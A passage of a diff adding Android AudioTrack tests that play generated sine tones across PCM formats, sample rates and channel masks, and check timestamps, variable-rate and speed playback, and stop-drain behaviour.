+                TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, TEST_FREQUENCY, TEST_SR, TEST_CONF,
+                NO_WAIT, 0 /* mask */);
+    }
+
+    @Test
+    public void testPlayStreamData() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlayStreamData";
+        final int TEST_FORMAT_ARRAY[] = {  // should hear 40 increasing frequency tones, 3 times
+                AudioFormat.ENCODING_PCM_8BIT,
+                AudioFormat.ENCODING_PCM_16BIT,
+                AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        // due to downmixer algorithmic latency, source channels greater than 2 may
+        // sound shorter in duration at 4kHz sampling rate.
+        final int TEST_SR_ARRAY[] = {
+                4000,
+                44100,
+                48000,
+                96000,
+                192000,
+        };
+        final int TEST_CONF_ARRAY[] = {
+                AudioFormat.CHANNEL_OUT_MONO,    // 1.0
+                AudioFormat.CHANNEL_OUT_STEREO,  // 2.0
+                AudioFormat.CHANNEL_OUT_STEREO | AudioFormat.CHANNEL_OUT_FRONT_CENTER, // 3.0
+                AudioFormat.CHANNEL_OUT_QUAD,    // 4.0
+                AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER,   // 5.0
+                AudioFormat.CHANNEL_OUT_5POINT1, // 5.1
+                AudioFormat.CHANNEL_OUT_5POINT1 | AudioFormat.CHANNEL_OUT_BACK_CENTER, // 6.1
+                AudioFormat.CHANNEL_OUT_7POINT1_SURROUND, // 7.1
+        };
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final float TEST_SWEEP = 0; // sine wave only
+        final boolean TEST_IS_LOW_RAM_DEVICE = isLowRamDevice();
+
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            double frequency = 400; // frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CONF : TEST_CONF_ARRAY) {
+                    playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+                            TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
+                            WAIT_MSEC, 0 /* mask */);
+                    frequency += 50; // increment test tone frequency
+                }
+            }
+        }
+    }
+
+    private void playOnceStreamData(String testName, int testMode, int testStream,
+            float testSweep, boolean isLowRamDevice, int testFormat, double testFrequency,
+            int testSr, int testConf, long waitMsec, int mask)
+            throws InterruptedException {
+        final int channelCount = Integer.bitCount(testConf);
+        if (isLowRamDevice
+                && (testSr > 96000 || channelCount > 4)) {
+            return; // ignore. FIXME: reenable when AF memory allocation is updated.
+        }
+        // -------- initialization --------------
+        final int minBufferSize = AudioTrack.getMinBufferSize(testSr,
+                testConf, testFormat); // in bytes
+        AudioTrack track = new AudioTrack(testStream, testSr,
+                testConf, testFormat, minBufferSize, testMode);
+        assertTrue(testName, track.getState() == AudioTrack.STATE_INITIALIZED);
+
+        // compute parameters for the source signal data.
+        AudioFormat format = track.getFormat();
+        assertEquals(testName, testSr, format.getSampleRate());
+        assertEquals(testName, testConf, format.getChannelMask());
+        assertEquals(testName, channelCount, format.getChannelCount());
+        assertEquals(testName, testFormat, format.getEncoding());
+        // duration of test tones
+        final int frames = AudioHelper.frameCountFromMsec(500 /* ms */, format);
+        final int sourceSamples = channelCount * frames;
+        final double frequency = testFrequency / channelCount;
+
+        int written = 0;
+        // For streaming tracks, it's ok to issue the play() command
+        // before any audio is written.
+        track.play();
+        // -------- test --------------
+
+        // samplesPerWrite can be any positive value.
+        // We prefer this to be a multiple of channelCount so write()
+        // does not return a short count.
+        // If samplesPerWrite is very large, it is limited to the data length
+        // and we simply write (blocking) the entire source data and not even loop.
+        // We choose a value here which simulates double buffer writes.
+        final int buffers = 2; // double buffering mode
+        final int samplesPerWrite =
+                (track.getBufferSizeInFrames() / buffers) * channelCount;
+        switch (testFormat) {
+            case AudioFormat.ENCODING_PCM_8BIT: {
+                byte data[] = AudioHelper.createSoundDataInByteArray(
+                        sourceSamples, testSr,
+                        frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
+                while (written < data.length) {
+                    int samples = Math.min(data.length - written, samplesPerWrite);
+                    int ret = track.write(data, written, samples);
+                    assertEquals(testName, samples, ret);
+                    written += ret;
+                }
+            }
+            break;
+            case AudioFormat.ENCODING_PCM_16BIT: {
+                short data[] = AudioHelper.createSoundDataInShortArray(
+                        sourceSamples, testSr,
+                        frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
+                while (written < data.length) {
+                    int samples = Math.min(data.length - written, samplesPerWrite);
+                    int ret = track.write(data, written, samples);
+                    assertEquals(testName, samples, ret);
+                    written += ret;
+                }
+            }
+            break;
+            case AudioFormat.ENCODING_PCM_FLOAT: {
+                float data[] = AudioHelper.createSoundDataInFloatArray(
+                        sourceSamples, testSr,
+                        frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
+                while (written < data.length) {
+                    int samples = Math.min(data.length - written, samplesPerWrite);
+                    int ret = track.write(data, written, samples,
+                            AudioTrack.WRITE_BLOCKING);
+                    assertEquals(testName, samples, ret);
+                    written += ret;
+                }
+            }
+            break;
+        }
+
+        // For streaming tracks, AudioTrack.stop() doesn't immediately stop playback.
+        // Rather, it allows the remaining data in the internal buffer to drain.
+        track.stop();
+        Thread.sleep(waitMsec); // wait for the data to drain.
+        // -------- tear down --------------
+        track.release();
+        Thread.sleep(waitMsec); // wait for release to complete
+    }
+
+    private void playOnceStreamByteBuffer(
+            String testName, double testFrequency, double testSweep,
+            int testStreamType, int testSampleRate, int testChannelMask, int testEncoding,
+            int testTransferMode, int testWriteMode,
+            boolean useChannelIndex, boolean useDirect) throws Exception {
+        AudioTrack track = null;
+        try {
+            AudioFormat.Builder afb = new AudioFormat.Builder()
+                    .setEncoding(testEncoding)
+                    .setSampleRate(testSampleRate);
+            if (useChannelIndex) {
+                afb.setChannelIndexMask(testChannelMask);
+            } else {
+                afb.setChannelMask(testChannelMask);
+            }
+            final AudioFormat format = afb.build();
+            final int frameSize = AudioHelper.frameSizeFromFormat(format);
+            final int frameCount =
+                    AudioHelper.frameCountFromMsec(300 /* ms */, format);
+            final int bufferSize = frameCount * frameSize;
+            final int bufferSamples = frameCount * format.getChannelCount();
+
+            track = new AudioTrack.Builder()
+                    .setAudioFormat(format)
+                    .setTransferMode(testTransferMode)
+                    .setBufferSizeInBytes(bufferSize)
+                    .build();
+
+            assertEquals(testName + ": state",
+                    AudioTrack.STATE_INITIALIZED, track.getState());
+            assertEquals(testName + ": sample rate",
+                    testSampleRate, track.getSampleRate());
+            assertEquals(testName + ": encoding",
+                    testEncoding, track.getAudioFormat());
+
+            ByteBuffer bb = useDirect
+                    ? ByteBuffer.allocateDirect(bufferSize)
+                    : ByteBuffer.allocate(bufferSize);
+            bb.order(java.nio.ByteOrder.nativeOrder());
+
+            final double sampleFrequency = testFrequency / format.getChannelCount();
+            switch (testEncoding) {
+                case AudioFormat.ENCODING_PCM_8BIT: {
+                    byte data[] = AudioHelper.createSoundDataInByteArray(
+                            bufferSamples, testSampleRate,
+                            sampleFrequency, testSweep);
+                    bb.put(data);
+                    bb.flip();
+                }
+                break;
+                case AudioFormat.ENCODING_PCM_16BIT: {
+                    short data[] = AudioHelper.createSoundDataInShortArray(
+                            bufferSamples, testSampleRate,
+                            sampleFrequency, testSweep);
+                    ShortBuffer sb = bb.asShortBuffer();
+                    sb.put(data);
+                    bb.limit(sb.limit() * 2);
+                }
+                break;
+                case AudioFormat.ENCODING_PCM_FLOAT: {
+                    float data[] = AudioHelper.createSoundDataInFloatArray(
+                            bufferSamples, testSampleRate,
+                            sampleFrequency, testSweep);
+                    FloatBuffer fb = bb.asFloatBuffer();
+                    fb.put(data);
+                    bb.limit(fb.limit() * 4);
+                }
+                break;
+            }
+            // start the AudioTrack
+            // This can be done before or after the first write.
+            // Current behavior for streaming tracks is that
+            // actual playback does not begin before the internal
+            // data buffer is completely full.
+            track.play();
+
+            // write data
+            final long startTime = System.currentTimeMillis();
+            final long maxDuration = frameCount * 1000 / testSampleRate + 1000;
+            for (int written = 0; written < bufferSize; ) {
+                // ret may return a short count if write
+                // is non blocking or even if write is blocking
+                // when a stop/pause/flush is issued from another thread.
+                final int kBatchFrames = 1000;
+                int ret = track.write(bb,
+                        Math.min(bufferSize - written, frameSize * kBatchFrames),
+                        testWriteMode);
+                // for non-blocking mode, this loop may spin quickly
+                assertTrue(testName + ": write error " + ret, ret >= 0);
+                assertTrue(testName + ": write timeout",
+                        (System.currentTimeMillis() - startTime) <= maxDuration);
+                written += ret;
+            }
+
+            // for streaming tracks, stop will allow the rest of the data to
+            // drain out, but we don't know how long to wait unless
+            // we check the position before stop. if we check position
+            // after we stop, we read 0.
+            final int position = track.getPlaybackHeadPosition();
+            final int remainingTimeMs = (int)((double)(frameCount - position)
+                    * 1000 / testSampleRate);
+            track.stop();
+            Thread.sleep(remainingTimeMs);
+            Thread.sleep(WAIT_MSEC);
+        } finally {
+            if (track != null) {
+                track.release();
+            }
+        }
+    }
+
+    @Test
+    public void testPlayStreamByteBuffer() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlayStreamByteBuffer";
+        final int TEST_FORMAT_ARRAY[] = {  // should hear 4 tones played 3 times
+                AudioFormat.ENCODING_PCM_8BIT,
+                AudioFormat.ENCODING_PCM_16BIT,
+                AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+                48000,
+        };
+        final int TEST_CONF_ARRAY[] = {
+                AudioFormat.CHANNEL_OUT_STEREO,
+        };
+        final int TEST_WRITE_MODE_ARRAY[] = {
+                AudioTrack.WRITE_BLOCKING,
+                AudioTrack.WRITE_NON_BLOCKING,
+        };
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final double TEST_SWEEP = 0; // sine wave only
+
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            double frequency = 800; // frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CONF : TEST_CONF_ARRAY) {
+                    for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
+                        for (int useDirect = 0; useDirect < 2; ++useDirect) {
+                            playOnceStreamByteBuffer(TEST_NAME, frequency, TEST_SWEEP,
+                                    TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                                    TEST_MODE, TEST_WRITE_MODE,
+                                    false /* useChannelIndex */, useDirect != 0);
+
+                            // add a gap to make tones distinct
+                            Thread.sleep(100 /* millis */);
+                            frequency += 30; // increment test tone frequency
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testPlayChannelIndexStreamBuffer() throws Exception {
+        // should hear 4 tones played 3 or 4 times depending
+        // on the device output capabilities (e.g. stereo or 5.1 or otherwise)
+        final String TEST_NAME = "testPlayChannelIndexStreamBuffer";
+        final int TEST_FORMAT_ARRAY[] = {
+                AudioFormat.ENCODING_PCM_8BIT,
+                //AudioFormat.ENCODING_PCM_16BIT,
+                //AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+                48000,
+        };
+        // The following channel index masks are iterated over and route
+        // the AudioTrack channels to the output sink channels based on
+        // the set bits in counting order (lsb to msb).
+        //
+        // For a stereo output sink, the sound may come from L and R, L only, none, or R only.
+        // For a 5.1 output sink, the sound may come from a variety of outputs
+        // as commented below.
+        final int TEST_CONF_ARRAY[] = { // matches output sink channels:
+                (1 << 0) | (1 << 1), // Stereo(L, R) 5.1(FL, FR)
+                (1 << 0) | (1 << 2), // Stereo(L)    5.1(FL, FC)
+                (1 << 4) | (1 << 5), // Stereo(None) 5.1(BL, BR)
+                (1 << 1) | (1 << 2), // Stereo(R)    5.1(FR, FC)
+        };
+        final int TEST_WRITE_MODE_ARRAY[] = {
+                AudioTrack.WRITE_BLOCKING,
+                AudioTrack.WRITE_NON_BLOCKING,
+        };
+        final double TEST_SWEEP = 0;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            for (int TEST_CONF : TEST_CONF_ARRAY) {
+                double frequency = 800; // frequency changes for each test
+                for (int TEST_SR : TEST_SR_ARRAY) {
+                    for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
+                        for (int useDirect = 0; useDirect < 2; ++useDirect) {
+                            playOnceStreamByteBuffer(TEST_NAME, frequency, TEST_SWEEP,
+                                    TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                                    TEST_MODE, TEST_WRITE_MODE,
+                                    true /* useChannelIndex */, useDirect != 0);
+
+                            // add a gap to make tones distinct
+                            Thread.sleep(100 /* millis */);
+                            frequency += 30; // increment test tone frequency
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    private boolean hasAudioOutput() {
+        return getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    private boolean isLowLatencyDevice() {
+        return getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+    }
+
+    private boolean isLowRamDevice() {
+        return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
+                .isLowRamDevice();
+    }
+
+    private boolean isProAudioDevice() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUDIO_PRO);
+    }
+
+    @Test
+    public void testGetTimestamp() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+        String streamName = "test_get_timestamp";
+        doTestTimestamp(
+                22050 /* sampleRate */,
+                AudioFormat.CHANNEL_OUT_MONO ,
+                AudioFormat.ENCODING_PCM_16BIT,
+                AudioTrack.MODE_STREAM,
+                streamName);
+    }
+
+    @Test
+    public void testFastTimestamp() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+        String streamName = "test_fast_timestamp";
+        doTestTimestamp(
+                AudioTrack.getNativeOutputSampleRate(AudioManager.STREAM_MUSIC),
+                AudioFormat.CHANNEL_OUT_MONO,
+                AudioFormat.ENCODING_PCM_16BIT,
+                AudioTrack.MODE_STREAM,
+                streamName);
+    }
+
+    // Note: this test may fail if playing through a remote device such as Bluetooth.
+    private void doTestTimestamp(int sampleRate, int channelMask, int encoding, int transferMode,
+            String streamName) throws Exception {
+        // constants for test
+        final int TEST_LOOP_CNT = 10;
+        final int TEST_BUFFER_MS = 100;
+        final int TEST_USAGE = AudioAttributes.USAGE_MEDIA;
+
+        final int MILLIS_PER_SECOND = 1000;
+        final int FRAME_TOLERANCE = sampleRate * TEST_BUFFER_MS / MILLIS_PER_SECOND;
+
+        // -------- initialization --------------
+        final int frameSize =
+                AudioFormat.getBytesPerSample(encoding)
+                * AudioFormat.channelCountFromOutChannelMask(channelMask);
+        // see whether we can use fast mode
+        final int nativeOutputSampleRate =
+                AudioTrack.getNativeOutputSampleRate(AudioManager.STREAM_MUSIC);
+        Log.d(TAG, "Native output sample rate " + nativeOutputSampleRate);
+        final boolean fast = (sampleRate == nativeOutputSampleRate);
+
+        AudioAttributes attributes = (fast ? new AudioAttributes.Builder()
+                .setFlags(AudioAttributes.FLAG_LOW_LATENCY) : new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .build();
+        AudioFormat format = new AudioFormat.Builder()
+                //.setChannelIndexMask((1 << AudioFormat.channelCountFromOutChannelMask(channelMask)) - 1)
+                .setChannelMask(channelMask)
+                .setEncoding(encoding)
+                .setSampleRate(sampleRate)
+                .build();
+        // not specifying the buffer size in the builder should get us the minimum buffer size.
+        AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(attributes)
+                .setAudioFormat(format)
+                .setTransferMode(transferMode)
+                .build();
+        assertEquals(AudioTrack.STATE_INITIALIZED, track.getState());
+
+        try {
+            // We generally use a transfer size of 100ms for testing, but in rare cases
+            // (e.g. Bluetooth) this needs to be larger to exceed the internal track buffer.
+            final int frameCount =
+                    Math.max(track.getBufferCapacityInFrames(),
+                            sampleRate * TEST_BUFFER_MS / MILLIS_PER_SECOND);
+            track.play();
+
+            // Android nanoTime implements MONOTONIC, same as our audio timestamps.
+
+            final ByteBuffer data = ByteBuffer.allocate(frameCount * frameSize);
+            data.order(java.nio.ByteOrder.nativeOrder()).limit(frameCount * frameSize);
+            final AudioTimestamp timestamp = new AudioTimestamp();
+
+            long framesWritten = 0;
+
+            // We start data delivery twice, the second start simulates restarting
+            // the track after a fully drained underrun (important case for Android TV).
+            for (int start = 0; start < 2; ++start) {
+                final long trackStartTimeNs = System.nanoTime();
+                final AudioHelper.TimestampVerifier tsVerifier =
+                        new AudioHelper.TimestampVerifier(
+                                TAG + "(start " + start + ")",
+                                sampleRate, framesWritten, isProAudioDevice());
+                for (int i = 0; i < TEST_LOOP_CNT; ++i) {
+                    final long trackWriteTimeNs = System.nanoTime();
+
+                    data.position(0);
+                    assertEquals("write did not complete",
+                            data.limit(), track.write(data, data.limit(),
+                            AudioTrack.WRITE_BLOCKING));
+                    assertEquals("write did not fill buffer",
+                            data.position(), data.limit());
+                    framesWritten += data.limit() / frameSize;
+
+                    // track.getTimestamp may return false if there are no physical HAL outputs.
+                    // This may occur on TV devices without connecting an HDMI monitor.
+                    // It may also be true immediately after start-up, as the mixing thread could
+                    // be idle, but since we've already pushed much more than the
+                    // minimum buffer size, that is unlikely.
+                    // Nevertheless, we don't want to have unnecessary failures, so we ignore the
+                    // first iteration if we don't get a timestamp.
+                    final boolean result = track.getTimestamp(timestamp);
+                    assertTrue("timestamp could not be read", result || i == 0);
+                    if (!result) {
+                        continue;
+                    }
+
+                    tsVerifier.add(timestamp);
+
+                    // Ensure that seen is greater than presented.
+                    // This is an "on-the-fly" read without pausing because pausing may cause the
+                    // timestamp to become stale and affect our jitter measurements.
+                    final long framesPresented = timestamp.framePosition;
+                    final int framesSeen = track.getPlaybackHeadPosition();
+                    assertTrue("server frames ahead of client frames",
+                            framesWritten >= framesSeen);
+                    assertTrue("presented frames ahead of server frames",
+                            framesSeen >= framesPresented);
+                }
+                // Full drain.
+                Thread.sleep(1000 /* millis */);
+                // check that we are really at the end of playback.
+                assertTrue("timestamp should be valid while draining",
+                        track.getTimestamp(timestamp));
+                // Fast tracks and sw emulated tracks may not fully drain.
+                // We log the status here.
+                if (framesWritten != timestamp.framePosition) {
+                    Log.d(TAG, "timestamp should fully drain.  written: "
+                            + framesWritten + " position: " + timestamp.framePosition);
+                }
+                final long framesLowerLimit = framesWritten - FRAME_TOLERANCE;
+                assertTrue("timestamp frame position needs to be close to written: "
+                                + timestamp.framePosition  + " >= " + framesLowerLimit,
+                        timestamp.framePosition >= framesLowerLimit);
+
+                assertTrue("timestamp should not advance during underrun: "
+                        + timestamp.framePosition  + " <= " + framesWritten,
+                        timestamp.framePosition <= framesWritten);
+
+                tsVerifier.verifyAndLog(trackStartTimeNs, streamName);
+            }
+        } finally {
+            track.release();
+        }
+    }
+
+    @Test
+    public void testVariableRatePlayback() throws Exception {
+        final String TEST_NAME = "testVariableRatePlayback";
+        final int TEST_SR = 24000;
+        final int TEST_FINAL_SR = 96000;
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT; // required for test
+        final int TEST_MODE = AudioTrack.MODE_STATIC; // required for test
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        final int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        final int bufferSizeInBytes = minBuffSize * 100;
+        final int numChannels =  AudioFormat.channelCountFromOutChannelMask(TEST_CONF);
+        final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
+        final int bytesPerFrame = numChannels * bytesPerSample;
+        final int frameCount = bufferSizeInBytes / bytesPerFrame;
+
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
+                TEST_FORMAT, bufferSizeInBytes, TEST_MODE);
+
+        // create byte array and write it
+        byte[] vai = AudioHelper.createSoundDataInByteArray(bufferSizeInBytes, TEST_SR,
+                600 /* frequency */, 0 /* sweep */);
+        assertEquals(vai.length, track.write(vai, 0 /* offsetInBytes */, vai.length));
+
+        // sweep up test and sweep down test
+        int[] sampleRates = {TEST_SR, TEST_FINAL_SR};
+        int[] deltaMss = {10, 10};
+        int[] deltaFreqs = {200, -200};
+
+        for (int i = 0; i < 2; ++i) {
+            int remainingTime;
+            int sampleRate = sampleRates[i];
+            final int deltaMs = deltaMss[i];
+            final int deltaFreq = deltaFreqs[i];
+            final int lastCheckMs = 500; // check the last 500 ms
+
+            assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackRate(sampleRate));
+            track.play();
+            do {
+                Thread.sleep(deltaMs);
+                final int position = track.getPlaybackHeadPosition();
+                sampleRate += deltaFreq;
+                sampleRate = Math.min(TEST_FINAL_SR, Math.max(TEST_SR, sampleRate));
+                assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackRate(sampleRate));
+                remainingTime = (int)((double)(frameCount - position) * 1000
+                        / sampleRate / bytesPerFrame);
+            } while (remainingTime >= lastCheckMs + deltaMs);
+
+            // ensure the final frequency set is constant and plays frames as expected
+            final int position1 = track.getPlaybackHeadPosition();
+            Thread.sleep(lastCheckMs);
+            final int position2 = track.getPlaybackHeadPosition();
+
+            final int tolerance60MsInFrames = sampleRate * 60 / 1000;
+            final int expected = lastCheckMs * sampleRate / 1000;
+            final int actual = position2 - position1;
+
+            // Log.d(TAG, "Variable Playback: expected(" + expected + ")  actual(" + actual
+            //        + ")  diff(" + (expected - actual) + ")");
+            assertEquals(expected, actual, tolerance60MsInFrames);
+            track.stop();
+        }
+        track.release();
+    }
+
+    // Test that AudioTrack stop limits drain to only those frames written at the time of stop.
+    // This ensures consistent stop behavior on Android P and beyond, where data written
+    // immediately after a stop doesn't get caught in the drain.
+    @LargeTest
+    @Test
+    public void testStopDrain() throws Exception {
+        final String TEST_NAME = "testStopDrain";
+        final int TEST_SR = 8000;
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO; // required for test
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT; // required for test
+        final int TEST_MODE = AudioTrack.MODE_STREAM; // required for test
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        final int channelCount = AudioFormat.channelCountFromOutChannelMask(TEST_CONF);
+        final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
+        final int bytesPerFrame = channelCount * bytesPerSample;
+        final int frameCount = TEST_SR * 3; // 3 seconds of buffer.
+        final int bufferSizeInBytes = frameCount * bytesPerFrame;
+
+        final AudioTrack track = new AudioTrack(
+                TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT, bufferSizeInBytes, TEST_MODE);
+
+        try {
+            // Create 6 seconds of data, but send down only 3 seconds to fill buffer.
+            final byte[] soundData = AudioHelper.createSoundDataInByteArray(
+                    bufferSizeInBytes * 2, TEST_SR, 600 /* frequency */, 0 /* sweep */);
+            assertEquals("cannot fill AudioTrack buffer",
+                    bufferSizeInBytes,
+                    track.write(soundData, 0 /* offsetInBytes */, bufferSizeInBytes));
+
+            // Set the track playing.
+            track.play();
+
+            // Note that the timings here are very generous for our test (really the
+            // granularity we need is on the order of a second).  If we don't get scheduled
+            // to run within about a second or so - this should be extremely rare -
+            // the result should be a false pass (rather than a false fail).
+
+            // After 1.5 seconds stop.
+            Thread.sleep(1500 /* millis */); // Assume device starts within 1.5 sec.
+            track.stop();
+
+            // We should drain 1.5 seconds and fill another 3 seconds of data.
+            // We shouldn't be able to write 6 seconds of data - that indicates stop continues
+            // to drain beyond the frames written at the time of stop.
+            int length = 0;
+            while (length < soundData.length) {
+                Thread.sleep(800 /* millis */); // assume larger than AF thread loop period
+                final int delta = track.write(soundData, length, soundData.length - length);
+                assertTrue("track write error: " + delta, delta >= 0);
+                if (delta == 0) break;
+                length += delta;
+            }
+
+            // Check to see we limit the data drained (should be able to exactly fill the buffer).
+            assertEquals("stop drain must be limited " + bufferSizeInBytes + " != " + length,
+                    bufferSizeInBytes, length);
+        } finally {
+            track.release();
+        }
+    }
+
+    @Test
+    public void testVariableSpeedPlayback() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final String TEST_NAME = "testVariableSpeedPlayback";
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT; // required for test
+        final int TEST_MODE = AudioTrack.MODE_STATIC;           // required for test
+        final int TEST_SR = 48000;
+
+        AudioFormat format = new AudioFormat.Builder()
+                //.setChannelIndexMask((1 << 0))  // output to first channel, FL
+                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                .setEncoding(TEST_FORMAT)
+                .setSampleRate(TEST_SR)
+                .build();
+
+        // create track
+        final int frameCount = AudioHelper.frameCountFromMsec(100 /*ms*/, format);
+        final int frameSize = AudioHelper.frameSizeFromFormat(format);
+        AudioTrack track = new AudioTrack.Builder()
+                .setAudioFormat(format)
+                .setBufferSizeInBytes(frameCount * frameSize)
+                .setTransferMode(TEST_MODE)
+                .build();
+
+        // create float array and write it
+        final int sampleCount = frameCount * format.getChannelCount();
+        float[] vaf = AudioHelper.createSoundDataInFloatArray(
+                sampleCount, TEST_SR, 600 /* frequency */, 0 /* sweep */);
+        assertEquals(vaf.length, track.write(vaf, 0 /* offsetInFloats */, vaf.length,
+                AudioTrack.WRITE_NON_BLOCKING));
+
+        // sweep speed and pitch
+        final float[][][] speedAndPitch = {
+             // { {speedStart, pitchStart} {speedEnd, pitchEnd} }
+                { {0.5f, 0.5f}, {2.0f, 2.0f} },  // speed by SR conversion (chirp)
+                { {0.5f, 1.0f}, {2.0f, 1.0f} },  // speed by time stretch (constant pitch)
+                { {1.0f, 0.5f}, {1.0f, 2.0f} },  // pitch by SR conversion (chirp)
+        };
+
+        // test that playback params works as expected
+        PlaybackParams params = new PlaybackParams().allowDefaults();
+        assertEquals("default speed not correct", 1.0f, params.getSpeed(), 0.f /* delta */);
+        assertEquals("default pitch not correct", 1.0f, params.getPitch(), 0.f /* delta */);
+        assertEquals(TEST_NAME,
+                params.AUDIO_FALLBACK_MODE_DEFAULT,
+                params.getAudioFallbackMode());
+        track.setPlaybackParams(params); // OK
+        params.setAudioFallbackMode(params.AUDIO_FALLBACK_MODE_FAIL);
+        assertEquals(TEST_NAME,
+                params.AUDIO_FALLBACK_MODE_FAIL, params.getAudioFallbackMode());
+        params.setPitch(0.0f);
+        try {
+            track.setPlaybackParams(params);
+            fail("IllegalArgumentException should be thrown on out of range data");
+        } catch (IllegalArgumentException e) {
+            ; // expect this is invalid
+        }
+        // on failure, the AudioTrack params should not change.
+        PlaybackParams paramCheck = track.getPlaybackParams();
+        assertEquals(TEST_NAME,
+                paramCheck.AUDIO_FALLBACK_MODE_DEFAULT, paramCheck.getAudioFallbackMode());
+        assertEquals("pitch should be unchanged on failure",
+                1.0f, paramCheck.getPitch(), 0. /* delta */);
+
+        // now try to see if we can do extreme pitch correction that should probably be muted.
+        params.setAudioFallbackMode(params.AUDIO_FALLBACK_MODE_MUTE);
+        assertEquals(TEST_NAME,
+                params.AUDIO_FALLBACK_MODE_MUTE, params.getAudioFallbackMode());
+        params.setPitch(0.1f);
+        track.setPlaybackParams(params); // OK
+
+        // now do our actual playback
+        final int TEST_TIME_MS = 2000;
+        final int TEST_DELTA_MS = 100;
+        final int testSteps = TEST_TIME_MS / TEST_DELTA_MS;
+
+        for (int i = 0; i < speedAndPitch.length; ++i) {
+            final float speedStart = speedAndPitch[i][0][0];
+            final float pitchStart = speedAndPitch[i][0][1];
+            final float speedEnd = speedAndPitch[i][1][0];
+            final float pitchEnd = speedAndPitch[i][1][1];
+            final float speedInc = (speedEnd - speedStart) / testSteps;
+            final float pitchInc = (pitchEnd - pitchStart) / testSteps;
+
+            PlaybackParams playbackParams = new PlaybackParams()
+                    .setPitch(pitchStart)
+                    .setSpeed(speedStart)
+                    .allowDefaults();
+
+            // set track in infinite loop to be a sine generator
+            track.setLoopPoints(0, frameCount, -1 /* loopCount */); // cleared by stop()
+            track.play();
+
+            Thread.sleep(300 /* millis */); // warm up track
+
+            int anticipatedPosition = track.getPlaybackHeadPosition();
+            long timeMs = SystemClock.elapsedRealtime();
+            final long startTimeMs = timeMs;
+            for (int j = 0; j < testSteps; ++j) {
+                // set playback settings
+                final float pitch = playbackParams.getPitch();
+                final float speed = playbackParams.getSpeed();
+
+                track.setPlaybackParams(playbackParams);
+
+                // verify that settings have changed
+                PlaybackParams checkParams = track.getPlaybackParams();
+                assertEquals("pitch not changed correctly",
+                        pitch, checkParams.getPitch(), 0. /* delta */);
+                assertEquals("speed not changed correctly",
+                        speed, checkParams.getSpeed(), 0. /* delta */);
+
+                // sleep for playback
+                Thread.sleep(TEST_DELTA_MS);
+                final long newTimeMs = SystemClock.elapsedRealtime();
+                // Log.d(TAG, "position[" + j + "] " + track.getPlaybackHeadPosition());
+                anticipatedPosition +=
